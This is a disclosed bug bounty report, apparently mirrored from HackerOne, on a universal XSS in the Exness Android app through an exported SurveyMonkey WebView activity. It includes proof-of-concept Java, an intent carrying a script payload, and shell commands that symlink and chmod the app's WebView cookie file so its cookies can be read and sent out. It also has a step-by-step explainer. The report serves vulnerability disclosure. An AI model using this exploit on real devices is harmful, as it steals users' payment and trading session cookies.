Skip to content
XSS Disclosed report Advanced

[com.exness.android.pa Android] Universal XSS in webview. Lead to steal user cookies

An exported Android activity in the Exness app accepted HTML and a base URL from any other app and loaded them into an internal WebView with JavaScript enabled. A malicious app could run script inside the app's WebView and, by symlinking the WebView cookie store into its own readable directory, exfiltrate cookies for trading and payment sites.

nearsecurity Follow

Originally disclosed on HackerOne

Bounty$400 Low View original
  • Triaged in under an hour
  • Fixed in 2.8 years
  • Paid in 17 months
  • Disclosed after 3.1 years

Details: Package: com.exness.android.pa Name: Exness Version: 1.7.5-real-release

Description: Third-app may use exported activity to load any url in internal webView. This leads to steal cookies used in trading app, including cookies of payment system

Vulnerability description: Application has exported activity:

Java
        <activity android:name="com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity" android:screenOrientation="locked" android:windowSoftInputMode="adjustResize">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
            </intent-filter>
        </activity>

This activity get 2 extra string from intent:

Java
       public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Intent intent = getIntent();
        this.aKn = intent.getStringExtra("smSPageHTML");
        this.aKq = intent.getStringExtra("smSPageURL");
        if (this.aKn == null) {
            this.aKr = chn.m7508a(C3298a.ERROR_CODE_COLLECTOR_CLOSED, null);
            Log.d("SM_SDK_DEBUG", this.aKr.getDescription());
            mo19074b(this.aKr); 
        } else if (bundle == null) {
            getSupportFragmentManager().beginTransaction().add(16908290, chi.m12362c(this.aKq, this.aKn, true), chi.TAG).commit();
        }
    }

Then, the activity passes these strings to function chi.m12362c. This function create an intent of class chi (public class chi extends Fragment):

Java
    public static chi m12362c(String str, String str2, boolean z) {
        chi chi = new chi();
        Bundle bundle = new Bundle();
        bundle.putString("smSPageURL", str);
        bundle.putString("smSPageHTML", str2);
        bundle.putBoolean("smHasLoadedSPageHTML", z);
        chi.setArguments(bundle);
        return chi;
    }

Then created intent will executed. Function onCreate of class chi:

Java
public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.aKo = false;
        this.aKp = false;
        this.aKn = null;
        Bundle arguments = getArguments();
        if (arguments != null) {
            this.aKq = arguments.getString("smSPageURL");
            this.aKo = arguments.getBoolean("smHasLoadedSPageHTML");
            if (this.aKo) {
                this.aKn = arguments.getString("smSPageHTML");
                m12353Gc(); // <-- pass to this function
                return;
            }
            new C48221().execute(new String[]{this.aKq});
        }
    }

After pass checks, strings of intent used in function m12353Gc:

Java
    public void m12353Gc() {
        if (getView() != null) {
            this.aKv = ProgressDialog.show(getActivity(), null, getString(C3294c.sm_loading_status));
            this.aKp = true;
            this.mWebView = (WebView) getView().findViewById(C3292a.sm_feedback_webview);
            this.mWebView.getSettings().setJavaScriptEnabled(true);
            this.mWebView.setWebViewClient(new C3296b(this, null));
            this.mWebView.loadDataWithBaseURL(this.aKq, this.aKn, null, "UTF-8", null);
        }
    }

In this way we load any url with our html code.

Summary: Third app create intent with extra: smSPageHTML - loaded html smSPageURL - url context of webview Then the Exness application will execute this html code on a background of activity where user need to enter his security code.

Steal cookies: This actions does not require root priv.

Third app can create a symlink to cookie file. We use extention html because when it loads in webview, content of this file was interpreted as html:

Java
try {
            Runtime.getRuntime().exec("ln -s /data/data/com.exness.android.pa/app_webview/Cookies /data/data/pwn.pwn/pwn.html").waitFor(); // create symlink to Cookie file
            Runtime.getRuntime().exec("chmod 777 -R /data/data/pwn.pwn/").waitFor(); //set access to everyone
        } catch (Exception e) {
            e.printStackTrace();
            finish();
            return;
        }
        new File("/data/data/pwn.pwn/pwn.html").setReadable(true, false);

Then create an intent with malicious javascript, which setup an evil cookie. After load the symlink, script in cookie will be executed and all of file will be send to server

POC app: (Attachment on the original report: app-release.apk)

Screenshots: Universal XSS; code of apk:

Java
                        Intent steal = new Intent();
                        steal.setClassName("com.exness.android.pa", "com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity");
                        steal.putExtra("smSPageHTML", "<html><h1>Universal XSS</h1><script>var form = document.createElement(\"form\");\n" +
                                "    var element1 = document.createElement(\"input\");\n" +
                                "    form.method = \"POST\";\n" +
                                "    form.action = \"https://trade.mql5.com\";\n" +
                                "    element1.value=document.domain;;\n" +
                                "    element1.name=\"text\";\n" +
                                "    form.appendChild(element1);\n" +
                                "    document.body.appendChild(form);\n" +
                                "    form.submit();</script></html>");
                        steal.putExtra("smSPageURL", "https://trade.mql5.com/r/");
                        startActivity(steal);
Screenshot_20190409-221332.png
Screenshot_20190409-221332.png From the original on HackerOne

Cookies: "YOUR COOKIE:" - header of my page where the files are sent and echoed

Screenshot_20190409-220841.png
Screenshot_20190409-220841.png From the original on HackerOne

Cookies of payanyway, qiwi, yandex money, moneta.ru, mql5:

Screenshot_20190409-224030.png
Screenshot_20190409-224030.png From the original on HackerOne
Screenshot_20190409-224316.png
Screenshot_20190409-224316.png

Impact

Can execute javascript in internal webview. Can steal user's cookies of payment system and mql5.

The original report as published on HackerOne, by nearsecurity. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the exported activity accepted attacker-controlled HTML and a base URL from the intent and passed them straight to a JavaScript-enabled WebView without validating the caller or the content.

Impact

An attacker could execute JavaScript in the app's internal WebView and steal cookies for payment systems and mql5, though the symlink step depends on the attacker app being able to create a link into the victim's private data directory.

What the attacker needed

Attacker app installed on the device; no root required

How it was found

  1. Build a malicious app that creates an intent targeting the exported feedback activity.
  2. Put attacker HTML and a chosen base URL into the intent extras.
  3. Start the activity so the app loads the HTML in its internal WebView.
  4. Create a symlink from the app's cookie file into the attacker app's directory with an html extension.
  5. Load the symlinked file in the WebView so its contents are treated as HTML and executed.
  6. Send the cookie file contents to an attacker-controlled server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Android apps can expose parts of themselves so other apps can open them, and this one exposed a screen that displays web content. That screen trusted whatever web page and address another app handed it, so a hostile app could show its own page inside the trusted app. Because the page ran with the app's stored login cookies, the attacker could read those cookies and send them away.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from EXNESS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.